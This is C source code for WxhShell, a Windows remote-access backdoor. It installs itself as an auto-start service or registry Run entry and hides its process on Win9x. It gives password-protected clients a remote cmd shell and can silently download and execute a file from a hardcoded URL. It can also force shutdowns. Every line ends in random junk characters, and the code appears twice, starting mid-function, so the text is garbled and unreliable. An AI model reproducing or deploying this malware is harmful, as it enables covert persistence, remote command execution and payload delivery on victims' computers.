    } 8@d@T V!n&  
  // 关机 2X@"#wIg  
  case 'd': { Hie  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?!$:I8T  
    if(Boot(SHUTDOWN)) }9 I,p$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o9c?)KQ  
    else { G9r~O#=gy  
    closesocket(wsh); d&t,^Hj  
    ExitThread(0); Fz@9 @  
    } $3^Cp_p6  
    break; MW|:'D`  
    } DAx 1  
  // 获取shell CjUYwAy$k  
  case 's': { Yp;?Zq9  
    CmdShell(wsh); J42/S [Rt  
    closesocket(wsh); Apc!!*7  
    ExitThread(0); . MH;u3U  
    break; )i$KrN6  
  } ({WV<T&  
  // 退出 RZqou|ki  
  case 'x': { 6l& ,!fd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (A\\s$fE/1  
    CloseIt(wsh); L_R(K89w  
    break; o'|B|oZ  
    } a<l DT_2b  
  // 离开 7&vDx=W  
  case 'q': { "g&hsp+i"A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wg]VG,  
    closesocket(wsh); Oc%W_Gb7  
    WSACleanup(); *apkw5B}C  
    exit(1); CK(`]-q>,  
    break; Jqz K5)  
        } jUd)|v+t  
  } <^Jdl.G  
  } M^jEp  
-qdt$jIM  
  // 提示信息 28LYGrB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1SSS0&  
} WM9z~z'2a  
  } EM,=R  
y=SVS3D  
  return; 7(C:ty9  
} #X qnH  
HlraOp+  
// shell模块句柄 yVgHu#?PM  
int CmdShell(SOCKET sock) p'\zL:3  
{ |Ju d*z  
STARTUPINFO si; lYhC2f m_  
ZeroMemory(&si,sizeof(si)); ZhY03>X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; > - U+o.o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {fS~G2@1  
PROCESS_INFORMATION ProcessInfo; { _~vf  
char cmdline[]="cmd"; ayQ2#9X}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'C) v?!19  
  return 0; DIx.a^LR  
} J7+[+Y  
59BB-R,V  
// 自身启动模式 9E}JtLgT  
int StartFromService(void) MM(\>J[Uq  
{ a6\`r^@  
typedef struct eD!mR3Ai@D  
{ *1,4#8tB  
  DWORD ExitStatus; QAX3*%h  
  DWORD PebBaseAddress; heQyz|o  
  DWORD AffinityMask; PP8627uP  
  DWORD BasePriority; %F13*hOu  
  ULONG UniqueProcessId; ]Wtg.y6;  
  ULONG InheritedFromUniqueProcessId; lESv  
}   PROCESS_BASIC_INFORMATION; ^o4](l  
&1ZUMc  
PROCNTQSIP NtQueryInformationProcess; 'PWA  
@S1Z "%S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ty}Y/jW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @;}vK=6L  
H h35cj  
  HANDLE             hProcess; __}ut+H^5p  
  PROCESS_BASIC_INFORMATION pbi; ZP '0=  
HJJ; gTj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O~m Q\GlW  
  if(NULL == hInst ) return 0; 2WC$r8E  
*U +<Hv`C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jcHyRR1R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y% O^Zm1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;.=]Ar}  
n 0g8B  
  if (!NtQueryInformationProcess) return 0; 7M Qh,J!"  
&z@}9U*6b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iw%" "q(`  
  if(!hProcess) return 0; 3:T~$M`]  
+QP(ATdM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oSIP{lfp2Q  
EVP{7}K1  
  CloseHandle(hProcess); "r1 !hfIYf  
2}15FXgN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '3?-o|v@D  
if(hProcess==NULL) return 0; nf1O8FwRb  
WjOP2CVv|  
HMODULE hMod; $$i Gs6az  
char procName[255]; #n]K$k>  
unsigned long cbNeeded; oxL)Jx\c9A  
TjHt:%7.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j8c5_&  
}{)Rnb@ >  
  CloseHandle(hProcess); nDyA][  
6j95>}@  
if(strstr(procName,"services")) return 1; // 以服务启动 #4<=Ira5  
!*S,S{T8  
  return 0; // 注册表启动 snYeo?|b  
} S0M i  
0#4A0[vV  
// 主模块  \>||  
int StartWxhshell(LPSTR lpCmdLine) &OA6Zw/A  
{ 3)I]bui  
  SOCKET wsl; @saK:z  
BOOL val=TRUE; @WNqD*)1  
  int port=0; ~tn$AtK  
  struct sockaddr_in door; 2MmHO2  
bOSqD[?  
  if(wscfg.ws_autoins) Install(); ubRhJ~XB  
(2UA,  
port=atoi(lpCmdLine); }B_?7+  
70 Ph^e)  
if(port<=0) port=wscfg.ws_port; `@ny!S|1/  
Kg`P@  
  WSADATA data; X,bhX/h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lp/'-Y_  
!{fu(E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c\/-*OYr<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T}/|nOu 5  
  door.sin_family = AF_INET; @Ne&%F?^Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wY ??#pS  
  door.sin_port = htons(port); uQ|LkL%< ^  
4ETHaIiWp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m#[9F']Z`  
closesocket(wsl); #+i:s92],  
return 1; RA?_j$  
} 9MH;=88q  
^+~ 5\c*  
  if(listen(wsl,2) == INVALID_SOCKET) { $0vWC#.A]  
closesocket(wsl); Y% JE})  
return 1; *6eJmbFG  
} ~!=Am:-wr  
  Wxhshell(wsl); hQ(^;QcSu  
  WSACleanup(); $B7c\MR j  
|}UA=? Xl  
return 0; KDP"z  
N;,zPWa  
} R!yh0y}Z  
)_\;l%&  
// 以NT服务方式启动 W?"l6s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?XP4kjJ  
{ D+BiclJ  
DWORD   status = 0; ?|WoNA~j}`  
  DWORD   specificError = 0xfffffff; ;Yv{)@'Bc  
P j,H]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9HEqB0|ZRu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mln4Vl(l2M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IaQm)"Z  
  serviceStatus.dwWin32ExitCode     = 0; ({@" {  
  serviceStatus.dwServiceSpecificExitCode = 0; 5D2mZ/  
  serviceStatus.dwCheckPoint       = 0; q*5L",  
  serviceStatus.dwWaitHint       = 0; 7VG*Wu  
-agB ]j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _>n)HG  
  if (hServiceStatusHandle==0) return; yf!7 Q>_G^  
A FBH(ms't  
status = GetLastError(); P3-O)m]jv  
  if (status!=NO_ERROR) o.w/ ?  
{ SP/b 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?iV}U  
    serviceStatus.dwCheckPoint       = 0; m mZP;  
    serviceStatus.dwWaitHint       = 0; h  Ypj  
    serviceStatus.dwWin32ExitCode     = status; k=mLcP  
    serviceStatus.dwServiceSpecificExitCode = specificError; L)&^Pu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z,/^lg c,  
    return; ~cyKPg6  
  }  ^#C+l  
U;TS7A3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |vm-(HY!  
  serviceStatus.dwCheckPoint       = 0; jSM`bE+"  
  serviceStatus.dwWaitHint       = 0; SjpCf8Z(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *aC[Tv[-P  
} [s`B0V`04  
QlV(D<  
// 处理NT服务事件,比如:启动、停止 bCr W'}:de  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )P?Fni}  
{ ~k-'  
switch(fdwControl) %rJDpB{  
{ <bo^uw  
case SERVICE_CONTROL_STOP: n#Dy YVb  
  serviceStatus.dwWin32ExitCode = 0; 4M>pHz4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l)o!&]2  
  serviceStatus.dwCheckPoint   = 0; 1LSJy*yY  
  serviceStatus.dwWaitHint     = 0; xb%Q[V_m  
  { 7w" !"W#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vea{o 35!  
  } lR7;{zlSf'  
  return; Y:\]d1C  
case SERVICE_CONTROL_PAUSE: O`1!&XT{x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8+dsTX`|S  
  break; R+0gn/a[G  
case SERVICE_CONTROL_CONTINUE: P^=B6>e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0^Vw^]w  
  break; $[ S 33Q  
case SERVICE_CONTROL_INTERROGATE: /3k[3  
  break; m1j Eky(  
}; 7Hv 6>z#m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2bLc57j{`9  
} `7y3C\zyQ  
re/u3\S  
// 标准应用程序主函数 <9"@<[[,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t( V 2  
{ %'h:G Bkd  
PX_9i@ZG  
// 获取操作系统版本 |v@_~HV  
OsIsNt=GetOsVer(); Og1\6Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?Fa$lE4  
Rf8ZH  
  // 从命令行安装 IKnf  
  if(strpbrk(lpCmdLine,"iI")) Install(); CQ<d  
Ye4 &4t  
  // 下载执行文件 tDah@_  
if(wscfg.ws_downexe) { UMBeY[ ?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xi.?@Lff  
  WinExec(wscfg.ws_filenam,SW_HIDE); #:yAi_Ct  
} N#jUqm  
9z{}DBA  
if(!OsIsNt) { M,p0wsj;  
// 如果时win9x,隐藏进程并且设置为注册表启动 #y7MB6-  
HideProc(); rA8NE>  
StartWxhshell(lpCmdLine); -c1-vGW/  
} qGR1$\]  
else m*HUT V  
  if(StartFromService()) @ N'P?i  
  // 以服务方式启动 UtJfO`m9P  
  StartServiceCtrlDispatcher(DispatchTable); k~:(.)Nr  
else ~N; dX[@BT  
  // 普通方式启动 Fw(  
  StartWxhshell(lpCmdLine); ]AM*9!  
]j,o!|rx7  
return 0; H|aC(c  
} (zy|>u  
g'T L`=O  
B/K=\qmm  
~H?v L c;>  
=========================================== <_pLmYI  
@XL49D12c  
.Wp(@l'Hd  
| B$JX'_  
*gGw/jA/  
Lw^%<.DM+t  
" QD^=;!  
pX3El$p  
#include <stdio.h> s nxwe  
#include <string.h> v,N!cp1  
#include <windows.h> NcwUK\  
#include <winsock2.h> XPq`; <G  
#include <winsvc.h> ;sf'"UnL  
#include <urlmon.h> rGt]YG#C  
ak3WER|f#  
#pragma comment (lib, "Ws2_32.lib") 1 YtY=  
#pragma comment (lib, "urlmon.lib") -V@ST9`  
^i WGGnGS  
#define MAX_USER   100 // 最大客户端连接数 bzZdj6>kX  
#define BUF_SOCK   200 // sock buffer @q]!C5  
#define KEY_BUFF   255 // 输入 buffer 'cQ`jWZQ  
K^GvU0\  
#define REBOOT     0   // 重启 iH]0 YT.E  
#define SHUTDOWN   1   // 关机 +JD^5J,-NJ  
HlkjyD8  
#define DEF_PORT   5000 // 监听端口 &.z-itiV  
*"F*6+}w"  
#define REG_LEN     16   // 注册表键长度 cMy?&  
#define SVC_LEN     80   // NT服务名长度 F{7 BY~d  
L7(.dO0C  
// 从dll定义API d@cyQFX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3)&rj 7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p((.(fx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P??pWzb6HH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?H!&4o  
n Zx^ej\  
// wxhshell配置信息 T?u*ey~Tv  
struct WSCFG { /Z#AHfKF  
  int ws_port;         // 监听端口 93w$ck},?G  
  char ws_passstr[REG_LEN]; // 口令 e*Nm[*@UW  
  int ws_autoins;       // 安装标记, 1=yes 0=no MfLus40;n  
  char ws_regname[REG_LEN]; // 注册表键名 rSW{1o'  
  char ws_svcname[REG_LEN]; // 服务名 C;70,!3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V)`Q0}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +&_n[;   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ J"J[$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no biffBC:q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7A<}JaE!,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )0;O<G] d  
{EU]\Mp0j  
}; ;yZY2)L   
Pff-eT+~m  
// default Wxhshell configuration .&^M Z8  
struct WSCFG wscfg={DEF_PORT, ND 8;1+3  
    "xuhuanlingzhe", b_~KtMO  
    1, ' e x/IqbK  
    "Wxhshell", T[0CD'|E  
    "Wxhshell", "6?Y$y/wm  
            "WxhShell Service", *;t_V laZ  
    "Wrsky Windows CmdShell Service", n1+J{EPH  
    "Please Input Your Password: ", )5;|mV  
  1, _J3\e%ys  
  "http://www.wrsky.com/wxhshell.exe", W`wT0kP?*]  
  "Wxhshell.exe" `wLmGv+V  
    }; 2V+[:>F  
g@>y`AFnr  
// 消息定义模块 %-!:$ 1;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /h&>tYVio  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JvW!w)$pY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,Qe`(vU*s  
char *msg_ws_ext="\n\rExit.";  :KRe==/  
char *msg_ws_end="\n\rQuit."; 63i&e/pv  
char *msg_ws_boot="\n\rReboot..."; 9B3}LVg\  
char *msg_ws_poff="\n\rShutdown..."; *(*XNd||  
char *msg_ws_down="\n\rSave to "; .8|5;!`WB  
'+S!>Lqb  
char *msg_ws_err="\n\rErr!"; O,I7M?dRf  
char *msg_ws_ok="\n\rOK!"; gp{P _  
mA3yM#  
char ExeFile[MAX_PATH]; hJJo+NNN  
int nUser = 0; (jE[W:  
HANDLE handles[MAX_USER]; \ $9n `  
int OsIsNt; Y:'c<k  
jLul:* L  
SERVICE_STATUS       serviceStatus; u/?;J1z:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P(zquKm  
B"RZpx  
// 函数声明 KR4RIJZ_t  
int Install(void); ]b&qC (  
int Uninstall(void); e=Kr>~q=  
int DownloadFile(char *sURL, SOCKET wsh); cXOb=  
int Boot(int flag); )jRaQ~Sm  
void HideProc(void); T=cb:PD{%  
int GetOsVer(void); nQ'AB~ Do  
int Wxhshell(SOCKET wsl); !un_JZD  
void TalkWithClient(void *cs); &\r_g!Mh  
int CmdShell(SOCKET sock); EmcwX4|  
int StartFromService(void); +(hr5  
int StartWxhshell(LPSTR lpCmdLine); P$;_YLr  
vnz}Pr! c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jCt[I5"+z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &4L+[M{J@4  
;|K(6)  
// 数据结构和表定义 Aa%ks+1  
SERVICE_TABLE_ENTRY DispatchTable[] = ds QGj&  
{ fbW#6:Y  
{wscfg.ws_svcname, NTServiceMain}, RK=YFE 0  
{NULL, NULL} W&a<Q)o*I  
}; {D&:^f  
K:sC6|wG  
// 自我安装 <.6$zcW  
int Install(void) 9hs7B!3pc>  
{ !1?Nc}T0Q&  
  char svExeFile[MAX_PATH]; z#| tl/aP9  
  HKEY key; (KG>lTdN  
  strcpy(svExeFile,ExeFile); KfNR)  
s^AZ)k~J(  
// 如果是win9x系统,修改注册表设为自启动 3sGe#s%  
if(!OsIsNt) { noNL.%I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~7=w,+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wv)2dD2I  
  RegCloseKey(key); We#O' m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KY;E.D`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W?auY_+P  
  RegCloseKey(key); -zL xT  
  return 0; ?x &"EhA>  
    } \LW '6 pQ_  
  } [kq+a] q  
} uH!;4@ uI  
else { ;;- I<TL  
 0bk094  
// 如果是NT以上系统,安装为系统服务 !ly]{DTmm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LaiUf_W#X  
if (schSCManager!=0) re} P  
{ -{fbZk&A  
  SC_HANDLE schService = CreateService uU00ZPS*G[  
  ( Nb;Yti@Y.  
  schSCManager, %7rWebd-  
  wscfg.ws_svcname, o%A@ OY  
  wscfg.ws_svcdisp, ;H8A"$%n~  
  SERVICE_ALL_ACCESS, J;BG/VI1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e c`3Qw  
  SERVICE_AUTO_START, G@QZmuj&KH  
  SERVICE_ERROR_NORMAL, |+i?FYA\  
  svExeFile, dmD ':1  
  NULL, C_Z[ul  
  NULL, QFf lx  
  NULL, dPRGL hWF  
  NULL, e[8p/hId  
  NULL 7uRXu>h  
  ); a|@^ N  
  if (schService!=0) . RNQlh3  
  { 'rdg  
  CloseServiceHandle(schService); Nl1v*9_x  
  CloseServiceHandle(schSCManager); Jk7[}Jc$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vg1p{^N !  
  strcat(svExeFile,wscfg.ws_svcname); E8Wgm 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )f0t"lk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eESJk 14  
  RegCloseKey(key); -3c?Yaf"  
  return 0; 5fBW#6N/  
    } z|SLH<~  
  } R3$e q )  
  CloseServiceHandle(schSCManager); 2$? )VXtw  
} =lG5Kc{B  
} ]E)gMf   
8ESBui3;  
return 1; pOip$Z  
} [0} ^w[  
A{hWFSv  
// 自我卸载 > c7fg^@  
int Uninstall(void) C@L:m1fz  
{ ?H3xE=<X  
  HKEY key; 2,<!l(X  
=GjxqIv  
if(!OsIsNt) { )vk$]<$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t <#Yr%a  
  RegDeleteValue(key,wscfg.ws_regname); S-:l 60.  
  RegCloseKey(key); Y0U<l1(|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h^bbU.  
  RegDeleteValue(key,wscfg.ws_regname); Ydu=J g5u7  
  RegCloseKey(key); *, o)`  
  return 0; J%_ :A"  
  } 'on, YEp  
} @&d/}Mx"t  
} OY6l t.t  
else { *Oo2rk nQ  
C=AX{sn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [N925?--S  
if (schSCManager!=0) Y] nY.5irL  
{ e2%Y8ZJG.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4>>d "<}C  
  if (schService!=0)  >kK  
  { ?+b )=Z  
  if(DeleteService(schService)!=0) { g(MeCoCc  
  CloseServiceHandle(schService); 6P!M+PO  
  CloseServiceHandle(schSCManager); mg*[,_3q33  
  return 0; z.pP~he  
  } \ey3i((L  
  CloseServiceHandle(schService); t*^Q`V wQ  
  } +B%ZB9  
  CloseServiceHandle(schSCManager); nYMdYt04sl  
} ^'C1VQ%  
} ; eq^m,oz  
)}7rM6hv  
return 1; }S$]MY,*  
} Wgdij11e  
j#0@%d  
// 从指定url下载文件 &B7X LO[  
int DownloadFile(char *sURL, SOCKET wsh) q?{wRBVVB  
{ 0\Qqv7>  
  HRESULT hr; hn-9l1~!h  
char seps[]= "/"; TgVvp0F;  
char *token; pl V]hu27K  
char *file; +dk}$w[ g  
char myURL[MAX_PATH]; QVI4<Rxg  
char myFILE[MAX_PATH]; Yyby 1  
W[: n*h  
strcpy(myURL,sURL); {KE858  
  token=strtok(myURL,seps); 3j(GcR 9  
  while(token!=NULL) z6b!,lp  
  { N%:QaCZKw  
    file=token; U*=ebZno  
  token=strtok(NULL,seps); 9=~"^dp54%  
  } Y_)!U`>N?  
/N7j5v(  
GetCurrentDirectory(MAX_PATH,myFILE); *K'(t  
strcat(myFILE, "\\"); `$7j:<c=  
strcat(myFILE, file); O!kBp(?]  
  send(wsh,myFILE,strlen(myFILE),0); vWcU+GBZI  
send(wsh,"...",3,0); ; 7[5%xM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `TOm.YZG  
  if(hr==S_OK) @%fNB,H`  
return 0; Y dmYE $  
else <MI>>$seiJ  
return 1; \L(~50{(  
3Qfj=; 4  
} 4WZ:zr N  
1pVagLlb:7  
// 系统电源模块 _JiB=<Fkr  
int Boot(int flag) Uoh!1_oV  
{ kb ]PW Oz  
  HANDLE hToken; `[w:l[i  
  TOKEN_PRIVILEGES tkp; CYmwT>P+*4  
{xp/1? Mo*  
  if(OsIsNt) { vZmM=hW~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U|={LU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #)2'I`_E  
    tkp.PrivilegeCount = 1; Lk6UT)C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f3]Z22Yq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r:2G11[  
if(flag==REBOOT) { Zx7Y ,0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V.6h6B!vB  
  return 0; p@y?xZS  
} %:sQ[^0  
else { DZ |0CB~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +dcBh Dq  
  return 0; >fPa>[_1  
} 9"K EHf!  
  } +ZEj(fd9  
  else { <T+)~&g$  
if(flag==REBOOT) { Lf{9=;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /mX/ "~  
  return 0; _$]3&P  
} >f JY  
else { Lqb9gUJ:U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H[UV]qO,  
  return 0; x}$SB%9/  
} z;JyHC)  
} UmcPpZ  
Q\z6/1:9Z  
return 1; fwK5p?Xhm  
} ~oy =2Q<Z  
d`q<!qFZh  
// win9x进程隐藏模块 //n$#c _}u  
void HideProc(void) HKbyi~8N=  
{ oOlqlv  
FCnOvF65  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I !=ew |  
  if ( hKernel != NULL ) Gjf b<  
  { (`\ DDJ[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }lt5!u~}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GKTt!MK  
    FreeLibrary(hKernel); 7v3'JG1r-  
  } 1t wC-rC  
@&#k['c  
return; SEa'>UG  
} `>-fU<Q1  
]-h;gN  
// 获取操作系统版本 /N .xh  
int GetOsVer(void) 82l$]W4  
{ lKWe=xY\B  
  OSVERSIONINFO winfo; \9j +ejGf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Ild>_Tdb`  
  GetVersionEx(&winfo); 2CcUClP$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gb+iy$o-  
  return 1; ICA p  
  else U:"X *  
  return 0; q{T [|(!  
} f?vbIc`  
@lpo$lN0R  
// 客户端句柄模块 Htl2CcZ  
int Wxhshell(SOCKET wsl) OSreS5bg  
{ -5vg"|ia,  
  SOCKET wsh; AX($LIy9P  
  struct sockaddr_in client; g2 7 iE  
  DWORD myID; E/[>#%@i  
q@k/"ee*?  
  while(nUser<MAX_USER) }z%fQbw  
{ mq 0d ea  
  int nSize=sizeof(client); K!W7a~ @  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q:h7Jik  
  if(wsh==INVALID_SOCKET) return 1; )!z4LE  
T_iX1blrgh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kNq>{dNRx  
if(handles[nUser]==0) 6S K;1Bp-{  
  closesocket(wsh); b9nTg  
else 1eHU!{<fqm  
  nUser++; Z p8\n:  
  } o%3i(H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z~R7 G  
y5/frJ  
  return 0; 6mp8v`b  
} #+CH0Z  
Wh).%K(t  
// 关闭 socket s&v7<)*q  
void CloseIt(SOCKET wsh) Uh[MB wK  
{ tb$I8T  
closesocket(wsh); |wbXu:  
nUser--; Kk.a9uKI}  
ExitThread(0); Wo)$*?  
} <pA%|]  
"&Q sv-9t  
// 客户端请求句柄 2{U5*\FhVX  
void TalkWithClient(void *cs) co^bS;r  
{ `qoRnG  
B&fH FyK1n  
  SOCKET wsh=(SOCKET)cs; HSwC4y}  
  char pwd[SVC_LEN]; 2 |`7_*\  
  char cmd[KEY_BUFF]; l4Au{%j\  
char chr[1]; 6roq 1=   
int i,j; O>R@Xj)M  
K HyVI6N[  
  while (nUser < MAX_USER) { CFK{.{d]B  
|P_voht  
if(wscfg.ws_passstr) { 3+[;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c,>y1%V*S{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {L'uuG\9U  
  //ZeroMemory(pwd,KEY_BUFF); 3~q#P   
      i=0; B*Z}=$1j  
  while(i<SVC_LEN) { wjtFZGx&  
uNKf!\Y  
  // 设置超时 J497 >w[  
  fd_set FdRead; hMCf| e.UY  
  struct timeval TimeOut; ZR]p7{8B  
  FD_ZERO(&FdRead); y^0 mf|  
  FD_SET(wsh,&FdRead); gQQve{'  
  TimeOut.tv_sec=8; 8|JPQDS7  
  TimeOut.tv_usec=0; 8I8{xt4   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hZIbN9)8A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h\T}$jgfWm  
|@W|nbAfX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SA{noM  
  pwd=chr[0]; :|\[a0ZL  
  if(chr[0]==0xd || chr[0]==0xa) { Cl6P,C  
  pwd=0; `y3*\l  
  break; mX/'Fta  
  } 0g8ykGyx  
  i++; \B4f5 L8k  
    } _ <Ip0?N  
U| T}0  
  // 如果是非法用户,关闭 socket k1'd';gQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wY]ejK$0R  
} `\beQ(g  
bblEZ%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]FNe&o1zX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $bU.6  
/&N\#;kK?b  
while(1) { 5X PoQ^  
%)ri:Qq  
  ZeroMemory(cmd,KEY_BUFF);  eC[G4  
:]icW ^%  
      // 自动支持客户端 telnet标准   h[bC#(  
  j=0; 3mQ3mV:  
  while(j<KEY_BUFF) { '7<^x>D|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :jAsm[  
  cmd[j]=chr[0]; :FUxe kz  
  if(chr[0]==0xa || chr[0]==0xd) { Qo/pz2N  
  cmd[j]=0; s .@Szq  
  break; qXprD.; }  
  } qP[_!C.  
  j++; I)\{?LdHR  
    } o\<JG?P  
FM=XoMP q  
  // 下载文件 e%km}mA  
  if(strstr(cmd,"http://")) { 5KNa-\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bx/)Sl@  
  if(DownloadFile(cmd,wsh)) ], IQ~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :*M2@  
  else sa}.o ZpQ  
